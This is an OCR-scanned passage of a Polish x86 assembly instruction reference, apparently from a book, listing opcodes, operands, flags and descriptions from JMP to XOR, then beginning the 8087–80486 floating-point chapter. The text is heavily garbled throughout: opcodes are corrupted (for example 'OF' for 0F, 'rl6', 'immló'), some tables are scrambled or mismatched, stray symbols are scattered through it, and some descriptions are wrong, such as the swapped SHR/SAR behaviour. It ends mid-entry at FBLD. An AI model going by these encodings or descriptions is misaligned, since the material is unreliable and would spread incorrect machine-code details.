rell 6/32 Skok przy przeniesieniu C=1 OF 83 JNC rel16/32 Skok przy braku przeniesienia C=0 OF 80 JO rell6l32 Skok przy nadmiarze OF 81 JNO rel16/32 Skok przy braku nadmiaru 0=0 Opis: Instrukcje dokonujš skoku pod odpowiedni adres w pamięci jeœli spełniony jest okreœlony warunek. Rozkaz: JMP Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty EB rel8 E9 rell 6 FF/4 rIm 16 EA ptr16:16 FFIS m16:16 E9 rel32 FFI4 rlm32 EA ptr16:32 FF/5 m16:32 Opis: Rozkaz powoduje bezwarunkowy skok pod dany adres. w t 81 Rozkaz: LAHF Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenly 9A Brak Opis: Funkcja ładuje mniej znaczacy bajl rejestru znaczników do rejestru AH. Rozkaz: LAR Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenly OF 02 rl 6,r/ml 6 OF 02 r32,r/m32 Opis: Rozkaz faduje do rejestru prawo dostępu. Drugi argument musi przedstawiać selektor. Jeœ- ' li deskryplor znajduje się wewnštrz odpowiedniej tablicy, to zostanie ustawiony znacznik Z, a bajt dostępu do deskryptora zostanie zafadowany do dolnego bajta pierwszego operan- da. W przeciwnym wypadku znacznik Z ulegnie wyzerowaniu. Rozkaz: LEA Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty 8D r16,m 8D r32,m Opis: Funkcja oblicza offset adresu drugiego argumentu i ładuje go do pierwszego operanda. Rozkaz: LES,LDS,LGS,LSS,LFS Procesory: LES,LDS - wszystkie; LGS,LFS,LSS - 80386 Znaczniki: 0 D I T S Z A P C d ţ ţY 82 Kod Ar um n C5 L r16,m16:16 C5 LDS r32,m16:32 OF B2 LSS r16,m16:16 OF B2 LSS r32,m16:32 C4 LES r16,m16:16 C4 LES r32,m16:32 OF B4 LFSTrl 6,m16:16 OF B4 LFS r32,m16:32 OF B5 LGS r16,m16:16 OF B5 LGS r32,m16:32 Opis: Instrukcje czytajš pełny wskaŸnik z pamięci (drugi argument) i umieszczajš go w parze rejestrów ES(DS,GS,SS,FS):rejestr (pierwszy argument). Trzy ostatnie z nich działajš tylko na procesorach od 80386. Rozkaz: LEAVE Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty C9 Brak Opis: Instrukcja odwrotna do ENTER. Zwalnia pamięć na stosie przydzielonš poprzednio przed wywołaniem procedury wysokiego poziomu. ů :ţ' :'r :j ' Rozkaz: LGDT,LIDT . 1 Proeesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty OFO1/2 LGDT ml 6&32 0F01/3 LIDT m16&32 Opis: Rozkazyładujšdo rejestru GDTR/IDTR (ang. Global Descriptorllnterrupt Descriptor Table Register - rejestr globalnego deskryptora Ideskryptora przerwari) zawartoœć 6 bajtów. Sš to jedyne rozkazy trybu wirtualnego operujšce fizycznym adresem. Sš one wykorzystywa- ne tylko w oprogramowaniu systemowym. : " Rozkaz: LLDT Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty 0F00I2 rlm 16 ţi 83 Opis: Rozkaz ładuje rejestr LDTR (ang. Local Descriptor Table Register - rejestr lokalnego de- skryptora). Operand powinien zawierać selektor do globalnego deskryptora. Jeœli deskryp- tor ten zawiera tablicę LDT to odpowiednie dane zostanš przesłane do LDTR. Rozkaz: LMSW Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty 0F01I6 r/ml 6 Opis: Instrukcja powoduje przesłanie argumentu do rejestru stanu procesora MSW. Umożliwia ona na przykład przejœcie procesora z trybu rzeczywistego do wirtualnego. Jest używana tylko w oprogramowaniu systemowym. Rozkaz: LOCK Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty FO Brak Opis: Instrukcja powoduje zablokowanie wszelkich dodatkowych operacji komputera podczas wy- konywania rozkazu następujšcego po niej. Jest przydatne jeœli musimy zmienić od razu pa- rę rejestrów wskazujacych segment i offset adresu. Rozkaz: LODS,LODSB,LODSW,LODSD Procesory: Wszyskie, LODSD - 80386 Znaczniki: 0 D I T S Z A P C Argumenty ' AC LODS m8 AD LODS m16 AD LODS m32 AC LODSB AD LODSW AD LODSD Opis: Inslrukcje powodujš załadowanie do rejestru AL (AX,EAX) bajtu (słowa, słowa podwójne- go) spod adresu DS:[(E)SI]. Jeœli D jest ustawiony to zmniejszajš, a jeœli wyzerowany, zwię- kszajš zawartoœć rejestru (E)SI o 1 (2, 4). Rozkaz: LOOP,LOOPc Procesory: Wszystkie 5 84 Znaczniki: 0 D I T S Z A P C Kod Postać Warunek E2 LOOP rel8 E1 LOOPE rel8 Z=1 , 'y E1 LOOPZ rel8 Z=1 EO LOOPNE rel8 Z=0 EO LOOPNZ rel8 Z=0 Opis: Rozkazy pętli. Zmniejszajš zawartoœć rejestru (E)CX o 1, a następnie jeœli rejestr ten nie jest równy zeru oraz jest spełniony warunek podany w rozkazie skaczš pod odpowiedni ad- res. Rozkaz: LSL Procesory: 80286 Znaczniki: 0 D I T S Z A P C * ţŒ' f œ' Argumenty OF 03 r16,r/ml 6 OF 03 r32,rlm32 _ Opis: Instrukcja powoduje załadowanie do pierwszego operanda rozmiaru segmentu. Drugi argu- ment musi zawierać selektor segmentu i wskazywać na prawa dostępu. W przypadku pra- widłowego przebiegu operacji znacznik Z przyjmie wartoœć 1. Rozkaz: LTR Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty 0F00I3 r/ml 6 Opis: Rozkaz ładuje rejestr TR (ang. Task Register - rejestr zadania) przez zawartoœć argumen- tu. Właœciwy dla zadania segment oznacza się jako aktywny. Nie powoduje przetšczania zadari. Rozkaz powinien być stosowany tylko w oprogramowaniu systemowym. Rozkaz: NlOV Procesory: Wszystkie ů ţ ţ:* x .\ ţ 85 Znaczniki 0 D I T S Z A P C Argumenty 88 r/m8,r8 89 r/m16,r16 89 r/m32,r32 8A r8,r/m8 8B r16,r/m16 8B r32,r/m32 8C r/ml 6,rs 8D rs,r/m16 AO AL,moffs8 A1 AX moffsl 6 A1 EAX moffs32 A2 moffs8,AL A3 moffsl 6,AX A3 moffs32,EAX BO r8,imm8 B8 r16,imm16 B8 r32,imm31 C6 r/m8,imm8 C7 r/m16,imml6 C7 r/m32,imm32 Opis: Rozkaz powoduje przesłanie wartoœci drugiego operanda do pierwszego Rozkaz: MOV Procesory: 80386 Znaczniki: 0 D I T S Z A P C Argumenty OF 20 r32,C Rn OF 22 CRn,r32 OF 21 r32,DRn OF 23 DRn,r32 OF 24 r32,TRn OF 26 TRn,r32 Opis: Rozkaz przesyła dane między rejestrami ogólnego przeznaczenia, a rejestrami specjalny- mi: CRO/CR2/CR3 - rejestry kontrolne. DR0, DR1, DR2, DR3, DR6, DR7 - rejestry "odplu- skwiania" TR6, TR7 - rejestry testowe. Rozkaz: MOVS,MOVSB,MOVSW,MOVSD Procesory: Wszystkie, MOVSD - 80386 Znaczniki: 0 D I T S Z A P C ţ~:ţţ4 nţ Argumenty MOVS m8 m8 MOVS m16,16 MOVS m32,m32 MOVSB MOVSW , MOVSD , Przekopiowanie do komórki ES:[(E)DI] wartoœci DS:[(E)SI] oraz zmniejszenie (E)DI i (E)SI o rozmiar komórki, jeœli znacznik kierunku D jest ustawiony, lub zwiększenie (E)SI i (E)DI o rozmiar komórek jeden jeœli D jest wyzerowany. Instrukcja poprzedzona przedrostkiem REP może służyć do kopiowania łańcuchów. Instrukcja MOVSB kopiuje bajty (rozmiar 1 ), MOVSW - słowa (rozmiar 2), MOVSD - słowa podwójne (4). Rozkaz: MOVSX Proceso : 80386 ' Znaczniki: O D I T S Z A P C ; f Argumenty OF BE r16,rlm8 OF BE r32,rlm8 OF BE ţ2,r/m16 Opis: Instrukcja pobiera wartoœć drugiego argumentu traktujšc jš jako liczbę ze znakiem i odpo- wiednio rozszerza (Poprzez powielenie najbardziej znaczšcego bitu) bez zmiany wartoœci, ładujšc do pierwszego operanda. _ Rozkaz: MOVZX Procesory: 80386 Znaczniki: 0 D I T S Z A P C Argumenty OF B6 rl 6,rlm8 OF B6 r32,rlm8 OF B7 r32,rlm16 Opis: Instrukcja pobiera wartoœć drugiego argumentu traktujšc jš jako liczbę bez znaku i odpowie- dnio rozszerza (Poprzez powielenie zer ) bez zmiany wartoœci, ładujšc do pierwszego op - randa. MUL :ţ Rozkaz: Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ? ? * 87 Kod Araumenty F6/4 r/m8 F7/4 rlm16 F7I4 r/m32 Opis: Rozkaz wykonuje mnożenie dwóch liczb bez znaku i umieszcza wynik w pierwszym ope- randzie. Jeœli argument jest 8(16,32)-bitowy to mnoży go przez zawartoœć przez AL (AX, EAX), a wynik jest umieszczany w AX (DX:AX, EDX:EAX). Jeœli rezultat nie mieœci się w re- jestrze docelowym, to jest ustawiany znacznik C. Rozkaz: NEG Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * Argumenty F6I3 r/m8 F7I3 r/m16 F7/3 r/m32 Opis: Rozkaz zamienia zawartoœć operandu na jego dwójkowe dopełnienie. Operand jest odej- mowany od zera, a wartoœć umieszczana w operandzie. , Rozkaz: NOP Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty 90 Brak Opis: Instrukcja pusta. Inna jej forma to XCHG (E)AX,(E)AX Rozkaz: NOT Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C nţrţ Ar m n , - F6/2 r/m8 F7I2 r/ml 6 F7I2 r/m32 Opis: Rozkaz powoduje zanegowanie operandu, wpisujšc na miejsce każdego bitu, bit jemu prze- ciwny. Rozkaz: OR Procesory: Wszystkie ţ,r ţh 9 ţ czniki: 0 D I T S Z A P C O O Argumenty AL,imm8 AX imm16 ţ OD EAX,imm32 r/m8 imm8 81I1 rlml 6,imm16 rlm32,imm32 r/m32 imm8 rlm8,rE r/m16,r16 rIm32,r32 Rr8,r/m8 ; r16,r/m16 r32,r/m32 OB Rozkaz wykonuje operację sumy logicznej na każdej parze odpowiadajšcych sobie bitów dwóch operandów i umieszcza wynik w pierwszym operandzie. ~~Rozkaz: OUT Procesory: Wszystkie Znaczniki: 3 0 D I T S Z A P C Argumenty E6 imm8,AL E7 imm8,AX E7 imm8,EAX EE DX,AL EF DX,AX EF DX,EAX Opis: Instrukcja przenosi bajt lub słowo z rejestru AL (AX, EAX) do portu, którego numer podany jest jako pierwszy argument. Jeœli argumentem tym jest stała, to możliwy jest dostęp tylko do portów 0-255. Rozkaz: OUTS,OUTSB,OUTSW,OUTSD Procesory: 80286; OUTSD - 80386 Znaczniki: 0 D I T S Z A P C , ţr' Argumenty 6E OUTS DX,r/m8 6F OUTS DX,r/m16 6F OUTS DX,rlm32 6E OUTSB 6F OUTSW ' ţ" 6F OUTSD tţ 'Y 'ţ.;ţ' !ţ" 0' 89 Opis: Instrukcje powodujš wprowadzenie do portu o numerze w DX jednego bajtu (słowa, słowa podwójnego) z adresu ES:[(E)DI) i zwiększenie jeœli znacznik D=0 lub zmniejszenie jeœli znacznik D=1 rejestru (E)DI o 1 (2,4). Rozkaz: POP Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Kod Argumenty 8F/0 ml 6 8F/0 m32 58 rl 6 58 r32 1 F DS 07 ES 17 SS OF A 1 FS OF A9 GS Opis: Procedura zdejmuje rejestr lub komórkę ze stosu. Nie istnieje instrukcja POP CS, ponie- waż rejesfr CS jest zdejmowany przez instrukcję RET. Rozkaz: POPA,POPAD Procesory: POPA - 80286; POPAD - 80386 Znaczniki: 0 D I T S Z A P C Kod Araumenty 61 POPA 61 POPAD Opis: Instrukcje zdejmujš ze stosu wszystkie rejestry ogólnego przeznaczenia. Rozkaz: POPF,POPFD Procesory: POPF - Wszystkie; POPFD - 80386 Znaczniki: 0 D I T S Z A P C ! ţ . * ł Argumenły 9D POPF 9D POPFD Opis: Instrukcje zdejmujš ze stosu rejestr znaczników. Rozkaz: PUSH Procesory: Wszystkie 90 Znaczniki: 0 D I T S Z A P C Argumenty FFI6 ml 6 FFI6 m32 50 rl 6 50 r32 6A imm8 68 imml6 68 imm32 OE CS 16 SS 1 E DS 06 ESRFS OF AO GS OF A8 Opis: Rozkaz kładzie na stos rejestr lub komórkę pamięci. Rozkaz: PUSHA,PUSHAD Procesory: PUSHA - 80286; PUSHAD - 80386 Znaczniki: 0 D I T S Z A P C Argumenty 60 PUSHA 60 PUSHAD Opis: Rozkaz kładzie na stos wszystkie rejestry ogólnego przeznaczenia. 4 Rozkaz: PUSHF,PUSHFD Procesory: PUSHF - Wszystkie; PUSHFD - 80386 Znaczniki: 0 D I T S Z A P C . ţ .: Argumenty 9C PUSHF 9C PUSHFD Opis: Rozkaz ktadzie na stos rejestr znaczników. Rozkaz: RCL,RCR,ROL,ROL Procesory: Wszystkie Znaczniki 0 D I T S Z A P C r, , 91 DÓ%2 RC rlm8,1 D2I2 RCL r/m8,cl COI2 RCL rlm8,imm8 D1/2 RCL r/m16,1 D3/2 RCL r/m16,CL C1/2 RCL r/m16,imm8 D1/2 RCL r/m32,1 D3/2 RCL rIm32,CL C1/2 RCL r/m32,imm8 DO/3 RCR r/m8,1 D2I3 RCR r/m8,cl COI3 RCR r/m8,imm8 Dll3 RCR rlml6,1 D3/3 RCR r/m16,CL C1/3 RCR r/m16,imm8 DlI3 RCR r/m32,1 D3/3C1/3 RCR rIm32,CL DOID RCR rlm32,imm8 D2/0 ROL r/m8,1 CO/0 ROL r/m8,cl D1/0 ROL rlm8,imm8 D3/0 ROL r/m16,1 C1/0 ROL r/m16,CL D1/0 ROL r/ml 6,imm8 D3IO ROCL r/m32,1 ClIO ROL r/m32,CL DO/1 ROL r/m32,immBRROR r/m8,1 D2/1 ROR rlm8,cl COI1 ROR r/m8,imm8 Dl I1 ROR rIml6,1 D3/1 ROR r/m16,CL C1/1 ROR r/m16,imm8 D1/1 RCL r/m32,1 D3/1 RCL rlm32,CL C1/1 RCL r/m32,imm8 Opis: Każda z tych instrukcji powoduje przesunięcie cykliczne pierwszego operanda o takš iloœć bajtów, jaka jest przekazana w drugim argumencie. Rozkazy RCL i RCR powodujš odpo- wiednio przesunięcie w lewo i prawo z uwzględnieniem znacznika C, to znaczy wartoœć C jest przekazywana do pierwszego bitu obracanego bajtu, a wartoœć ostatniego bajtu jest przekazywana do C. Rozkazy ROL i ROR również powodujš obrót w lewo lub prawo, ostat- ni ("wychodzšcy") bajt jest kopiowany do pierwszego bajtu i do znacznika C.Znacznik 0 jest ustawiany tylko dla pojedynczych wersji rozkazu. Dla przesunięć w lewo 0 jest usta- wiane, jeœli znacznik C i najbardziej znaczšcy bit wyniku sš różne. Dla przesunięć w prawo 0 jest ustawiany, jeœli dwa najbardziej znaczšce bity wyniku sš od siebie różne. Rozkaz: REP,REPE,REPZ,REPNE,REPNZ Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * 92 Kod RE m n INS rlm8,DX F3 6C F3 6D REP INS rIml6,DX F3 6D REP INS rlml 6 F36E REP OUT r/m8,DX F3 6F REP OUţTT rlml 6,DX F36F REP OUT rlm32,0X F3 A4 REP MOVS m8,rn8 F3 A5 REP MOVS m16,m16 F3 A5 REP MOVS m32,m32RREP STOSTmB,m8 F3 AA REP STOS m16,m16 F3 AB REP STOS m32,m32 F3 AB REPE MOVS m8 m8 F3 A6 REPE MOVS m16,m16 F3 A7 REPE MOVS m32,m32 F3 A7 REPE STOS m8 m8 F3AE REPE STOS m1B,m16 F3AF REPE STOS m32,m32 F3 AF REPNE MOVS m8,m8 F2 A6 REPNE MOVS m16,m16 F2 A7 REPNE MOVS m32 m32 F2 A7 REPNE STOS m8,mBRREPNETSTOSml6,m16 F2 AE REPNE STOS m32,m32 F2 AF F2 AF Opis: REP (powtarzaj), REPE (powtarzaj dopóki równe), REPNE (Powtarzaj dopóki nie równe) sš pretiksami poprzedzajšcymi instrukcje działajšce na łaricuchach. Ich działanie jest na- stępujšce: 1. Jeœli rozmiar adresu jest 16-bitowy jako licznik jest używany rejestr CX, jeœli 32-bitowy - rejestr ECX (procesor 80386). 2. Sprawdzajš czy rejestr CX (lub ECX) jest równy 0, jeœli tak, to iteracja jest przerywana i następuje skok do następnej instrukcji. 3. Wykonanie jednorazowej operacji na łaricuchu. 4. Zmniejszenie (E)CX o 1 bez zmiany rejestru znaczników. 5. Jeœli operacjš na łaricuchu jest SCAS lub CMPS to sprawdzajš znacznik Z. Jeœli Z nie jest ustawiony (ostatnie porównanie zakoriczyło sie wynikiem negatywnym) to koriczš itera- cję. Dla pozostałych instrukcji sprawdzajšjeszcze odpowiednio dla instukcji REPE(REPZ) czy znacznik Z jest ustawiony , dla instrukcji REPNE(REPNZ) czy znacznik Z jest wyzero- wany. Jeœli te warunki nie sš spetnione, to koriczš iterację i skaczš do następnej instrukcji. 6. Wracajš do punktu 1, aby wykonać następny krok iteracji. Rozkaz: RET,RETF Procesory: Wszystkie Znaczniki: _ 0 D I T S Z A P C Rr T m n RETF C3 CB C2 RET imml6 CA RETF imml 6 `ţ Opis: Instrukcja powrotu (dalekiego lub bliskiego) z procedury. Polega na załadowaniu rejestru IP ( i ewentualnie CS) wartoœciami zdjętymi ze stosu. Opcjonalny parametr oznacza liczbę ţ bajtów ( w trybie adresowania 32-bitowego liczbę słów), które rozkaz ma zdjšć ze stosu. 93 Rozkaz: SAHF Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 1 t 1 t t Argumenty 9E Brak Opis: Rozkaz powoduje załadowanie dolnego bajtu rejestru znaczników zawartoœciš rejestru AH. Rozkaz: SAL,SAR,SHL,SHR Procesory: Wszystkie. Znaczniki: 0 D I T S Z A P C Argumenty DO /4 SAL r/m8,1 D2 I4 SAL r/m8,c CO /4 SAL r/m8,imm8 D1 /4 SAL r/m16,1 D3 /4 SAL rlml 6,CL C1 /4 SAL rlm16,imm8 D1 l4 SAL r/m32,1 D3 /4 SAL r/m32,CL C1 /4 SAL rIm32,imm8 DO /7 SAR r/m8,1 D2 I7 SAR r/m8,cl CO /7 SAR r/m8,imm8 D1 I7 SAR r/m16,1 D3 l7 SAR r/m16,CL C1 /7 SAR r/m16,imm8 D1 /7 SAR rlm32,1 D3 l7 SAR r/m32,CL C1 I7 SAR r/m32,imm8 DO /4 SHL r/m8,1 D2 I4 SHL r/m8,cl _ CO I4 SHL rlm8,imm8 D1 /4 SHL rlml 6,1 , D3 /4 SHL r/m16,CL _ C1 /4 SHL r/m16,imm8 ţ; D1 /4 SHL rlm32,1 D3 /4 SHL rIm32,CL C1 /4 SHL r/m32,imm8 DO I5 SHR r/m8,1 D2 /5 SHR r/m8,cl CO I5 SHR r/m8,imm8 D1 I5 SHR r/m16,1 D3 /5 SHR rlml 6,CLRSHRrlm16,imm8 C1 /5 SHR r/m32,1 D1 /5 SHR rIm32,CL D3 I5 SHR r/m32,imm8 C1 /5 Opis: Instrukcja SAL(SHL) obraca pierwszy operand w lewo. Najbardziej znaczšcy bit jest przeka- zywany do znacznika C, a najmniej znaczšcy jest ustawiany na 0. SHR i SAL obracajš ope- .ţHţ ţ rand w lewo. Najmniej znaczšcy bajt jest przekazywany do znacznika C. Instrukcja SHR powiela najbardziej znaczšcy bit, natomiast instrukcja SAR zeruje go. Drugi argument za- wiera liczbę powtórzeń operacji. Znacznik 0 jest ustawiany tylko w przypadku pojedyri- czych wersji rozkazu. Dla przesunięcia w lewo wskaŸnik 0 jest ustawiany jeœli najbardziej znaczšcy bit rezultatu jest różny od znacznika C. Dla SHR do 0 jest kopiowana zawartoœć najbardziej znaczšcego bajtu operanda. Dla SAR 0 jest zawsze zerowany. Pţ eţţţ ţ` ţozkaz: SBB ţ* ,ţ Procesory: Wszystkie czniki: 0 D I T S Z A P C * ł * * * Argumenty ţţ r/m8,r8 M ţg rlml6,r16 ţg rIm32 r32 r8 r/m8 ţB rl 6,rIm 16 r32,rlm32 1C AL,imm8 AX,immló EAX,imm32 80I3 rlm8,imm8 81ţ r/m16,imml6 81/3 r/m32,imm32 r/m16,imm8 gţg rIm32,imm8 Opis: Odejmowanie z uwzględnieniem przeniesienia. Rozkaz dodaje drugi operand do znacznika C, a wynik odejmuje od pierwszego operandu. Wynik koricowy jest umieszczany w pierw- szym operandzie. ;ţ , Rozkaz: SCAS,SCASB,SCASW,SCASD _ Procesory: Wszystkie, SCASB - 80386 Znaczniki: 0 D I T S Z A P C * * * * Argumenty AE SCAS m8 'ţ AF SCAS m 16 AF SCAS m32 AE SCASB AF SCASW AF SCASD Opis: Instrukcje powodujš odjęcie od rejestru AL (AX,EAX) zawartoœci bajtu (słowa, sfowa pod- wójnego) spod adresu ES:[(E)DI). Wynik nie jest nigdzie zapisywany, tylko na jego podsta- wie instrukcje ustawiajš znaczniki. Jeœli D jest ustawiony to po wykonaniu odejmowania * zmniejszajš, a jeœli wyzerowany, zwiększajš zawartoœć rejestru (E)DI o 1 (2, 4). ińţ L =r 95 Rozkaz: SETcc Procesory: 80386 Znaczniki: 0 D I T S Z A P C r ` Kod Postać Warunek OF 92 SETBISETNAE r/m C=1 OF 93 SETAEISETNB r/m8 C=0 OF 96 SETBEISETNA r/m8 C=1 lub Z=1 OF 97 SETA/SETNBE rlm8 C=0 i Z=0 OF 94 SETEISETZ rlm8 Z=1 OF 95 SETNE/SETNZ r/m8 Z=0 OF 9C SETUSETNGE r/m8 SO OF 9D SETGE/SETNL r/m8 S=0 OF 9E SETNG/SETLE rlm8 Z=1 lub SO . , OF 9F SETGISETNLE r/m8 Z=0 i S=0 OF 9A SETPISETPE r/m8 P=1 OF 9B SETNP/SETPO rlm8 P=0 OF 98 SETS r/m8 S=1 OF 99 SETNS rlm8 S=0 OF 92 SETC r/m8 C=1 OF 93 SETNC r/m8 C=0 OF 90 SETO r/m8 0=1 OF 91 SETNO r/m8 0=0 Opis: Instrukcje przesyłajš do operandu bajt zawierajšcy 1, jeœli odpowiedni warunek jest spelnio- ny, w przeciwnym razie przesytajš bajt równy 0. Rozkaz: SGDT,SIDT Procesory: 80286 Znaczniki: 0 D I T S Z A P C `ţ Argumenty 0F01 IO SGDT ml 6&32 0F01I0 SIDT m16&32 Opis: Rozkazy kopiujš rejestr GDTR/IDTR (ang. Global Descriptor/Interrupt Descriptor Table Re- gister - rejestr globalnego deskryptora /deskryptora przerwari) do szeœciu bajtów pamięci wskazywanych przez operand. Sš to jedyne rozkazy trybu wirtualnego operujšce fizycz- , - nym adresem. Sš one wykorzystywane tylko w oprogramowaniu systemowym. ;:; ţ kaz: SHLD ţry; 80386 iki: 0 D I T S Z A P C ; ł Argumenty ţ rlm16,r16,imm8 Aq rlm32,r32,imm8 A5 rIml6,r16,Cl ţ A5 rIm32,r32,Cl Przesunięcie logiczne w lewo danej złożonej ze skonkatenowanego pierwszego i drugiego operandu. Trzeci argument okreœla liczbę powtórzeri operacji. zkaz: SLDT ; :ţ : 80286 . F ht 0 D I T S Z A P C Argumenty /0 r/m 16 Opis: Rozkaz kopiuje rejestr LDTR (ang. Local Descriptor Table Register - rejestr lokalnego de- skryptora) do operandu. Rozkaz: SMSW . Procesory: 80286 ţx ţ Znaczniki: 0 D I T S Z A P C Argumenty 0F01/4 r/m 16 Opis: Instrukcja powoduje kopiowanie rejestru stanu procesora MSW do operandu. Jest używa- na tylko w oprogramowaniu systemowym. Rozkaz: STC Proţ:esory: Wszystkie Znaczniki: _ 0 D I T S Z A P C 1 l Argumenty F9 Brak Opis: Rozkaz ustawia znaeznik przeniesiena C. 97 Rozkaz: STD Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty FD Brak Opis: Rozkaz ustawia znacznik kierunku D. Rozkaz: STI Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 1 Argumenty FB Brak Opis: Rozkaz ustawia znacznik zezwolenia na przerwanie I. Rozkaz: STOS,STOSB,STOSW,STOSD Procesory: Wszyskie, STOSD - 80386 Znaczniki: 0 D I T S Z A P C Argumenty STOS m8 AB STOS m 16 AB STOS m32 STOSB AB STOSW AB STOSD Opis: Instrukcje powodujš przesłanie zawartoœci rejestru (AX,EAX) do bajtu (siowa, słowa pod- wójnego) spod adresu ES:[(E)DI]. Jeœli D jest ustawiony to zmniejszajš, a jeœli wyzerowa- , ny, zwiększajš zawartoœć rejestru (E)DI o 1 (2, 4). Rozkaz: STR Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty 0F00/1 r/ml 6 z ko iuţe zawartoœć r‚ estru TR an . Task Re ister - rejestr zadania) do operandu. : pis: Rozka p ţ ) ( 9 9 Rozkaz powinien być stosowany tylko w oprogramowaniu systemowym. Rozkaz: SUB d Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ~ ţţ k t Argumenty ţ 28 rlm8 r8 29 r/ml 6,r16 ţ 29 rlm32 r32 r8 rlmB 2g r1 B,rlm16 2g r32,rlm32 2C AL imm8 2D AX imml6 ;ţ 2D EAX,imm32 80I5 rlm8,imm8 81I5 r/m16,imml6 gl/5 rlm32,imm32 83I5 r/m16,immBRrlm32,imm8 83I5 Opis: Odejmowanie bez uwzględnienia przeniesienia. Rozkaz odejmuje drugi argument od pierw- szego. Wynik odejmowania jest umieszczany w pierwszym operandzie. Rozkaz: TEST ţ Wszystkie Proceso : Znaczniki: 0 D I T S Z A P C 0 * ţ 0 Argumenty g4 rlm8,r8 g5 rlm16,r16 g5 rlm32,r32 qg AL,imm8 A9 AX imm16REAX,imm32 łd qg rlm8,imm8 ţ `= ' F6/0 r/m16,immló F7IO rlm32,imm32 F7IO Opis: Rozkaz oblicza iloczyn logiczny dla wszystkich odpowiadajšcych sobie par bitów. Wynik nie jest nigdzie zapisywany, tylko na jego podstawie ustawiane sš znaczniki. ţ=: ţ Rozkaz: VERR,VERW Procesory: 80286 99 Znaczniki: 0 D I T S Z A P C * Ar ment 0F00I4 V RR r/m16 0F00/5 VERRW rlml 6 Opis: Instrukcje okreœlajš, czy segment wskazywany przez selektor znajdujšcy się w operandzie jest dostępny z bieżšcego poziomu uprzywilejowania dla odczytu (VERR) lub zapisu (VERW). W przypadku pozytywnej odpowiedzi znacznik Z jest ustawiany, w przeciwnym wypadku zerowany. Rozkaz: Wait Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenlţ 9B Brak Opis: Rozkaz zawiesza wykonywanie rozkazów, następuje po odebraniu sygnału korica pracy urzšdzenia zewnętrznego (najczęœciej koprocesora). Rozkaz: WBINVD Procesory: 80486 Znaczniki: 0 D I T S Z A P C Argumenty Brak Opis: Ponowny zapis i unieważnienie zablokowania danych. Rozkaz: XADD Procesory: 80486 ' Znaczniki: 0 D I T S Z A P C Argumenty rlm,r Opis: Rozkaz wymienia zawartoœć obu operandów i dodaje je do siebie. Rozkaz: XCHG Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ţ 'ţ ' ‹N i i'.t Arqumenty 86 rlm8,r8 86 r8,rlm8 87 r/m16,r16 87 r16,r/m16 87 r/m32,r32 87 r32,r/m32 90 AX,r16 90 rl 6,AX 90 EAX,r32 90 f32,EAX Opis: Rozkaz wymienia zawartoœć operandów między sobš. . r:= Rozkaz: XLAT,XLATB Procesory: Wszystkie _ Znaczniki: 0 D I T S Z A P C Argumenty D7 XLAT m8 D7 XLATB Opis: Rozkaz ładuje do rejestru AL zawartoœć elementu tablicy. Przed wykonaniem rozkazu tabli- ca jest wskazywana przez DS:(E)BX, a numer elementu znajduje się w AL. Można to zapi- sać: AL := DS:[byte ptr BX + AL) 9 Rozkaz: XOR Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 0 ` ' ? ' 0 Argumenty i 30 r/m8,r8 31 r/ml 6,r16 31 r/m32,r32 32 r8,rlm8 33 r16,r/m16 ţ2,r/m32 34 AL,imm8 35 AX,imm16 35 EAX,imm32 80/6 r/m8,imm8 81/6 r/m16,immló 81/6 r/m32,imm32 83/6 r/ml 6,immBRr/m32,imm8 83/6 Opis: Rozkaz oblicza sumę symetrycznš dla wszystkich odpowiadajšcych sobie par bitów. Wynik jest zapisywany w pierwszym operandzie. 101 20. Rozkazy 8087, 80287, 80387, 80486 Ten rozdział jest dokoriczeniem poprzedniego i zawiera spis rozkazów procesorów Intel 8087, 80287, 80387. i rozkazów procesora 80486 dziafajacych na liczbach zmiennopozycyjnych. Opis rozkazu skfada się z czterech częœci: Nazwa: Mnemonik rozkazu Argumenty: ST - rejestr aktualnie na szczycie stosu ST(i) - rejestr i-ty na stosie (0<=i<=7) Sr - liczba rzeczywista krótka (32 bity) LR - liczba rzeczywista długa (64 bity) TR - liczba rzeczywista 80-bitowa PD - spakowana liczba dziesiętna (18 cyfr,10 bajtów) WI - liczba całkowita 16 - bitowa SI - liczba całkowita 32 - bitowa LI - liczba całkowita 64 - bitowa nn B - obszar pamięci majšcy nn bajtów Odstępstwa: IS - niewtaœciwe argumenty z powodu nadmiarulniedomiaru stosu I - niewłaœciwe argumenty z innych przyczyn D - niewfaœciwa operacja Z - dzielenie przez 0 0 - nadmiar U - niedomiar P - niedokładny rezultat Opis: Krótki opis działania rozkazu i jeœli rozkaz nie jest wykonywany przez wszystkie procesory, to nazwa procesora, do którego listy rozkazów należy. Nazwa: FABS Argumenty: FABS Odstępstwa: I ţP1= Opis: Wartoœć bezwzględna. Nazwa: FADD Argumenły: FADD /IŸródło/przeznaczenie,Ÿródło //ST,ST(i)/ ST(i),ST SR LR , Odstępstwa: I,D,O,U,P Opis: Dodaje liczby rzeczywiste. Nazwa: FADDP Argumenty: FADDP przeznaczenie,Ÿródło ST(i),ST Odstępslwa: I,D,O,U,P Opis: Dodaje liczbę rzeczywistš i usuwa jš ze stosu. sţ Nazwa: FBLD 'ţ ţrgumenty: FBLD ŸródtoPD 5tępstwa: I ţP1= Opis: ţaduje liczbę dziesiętnš upakowanš ţţ *ţţazwa: 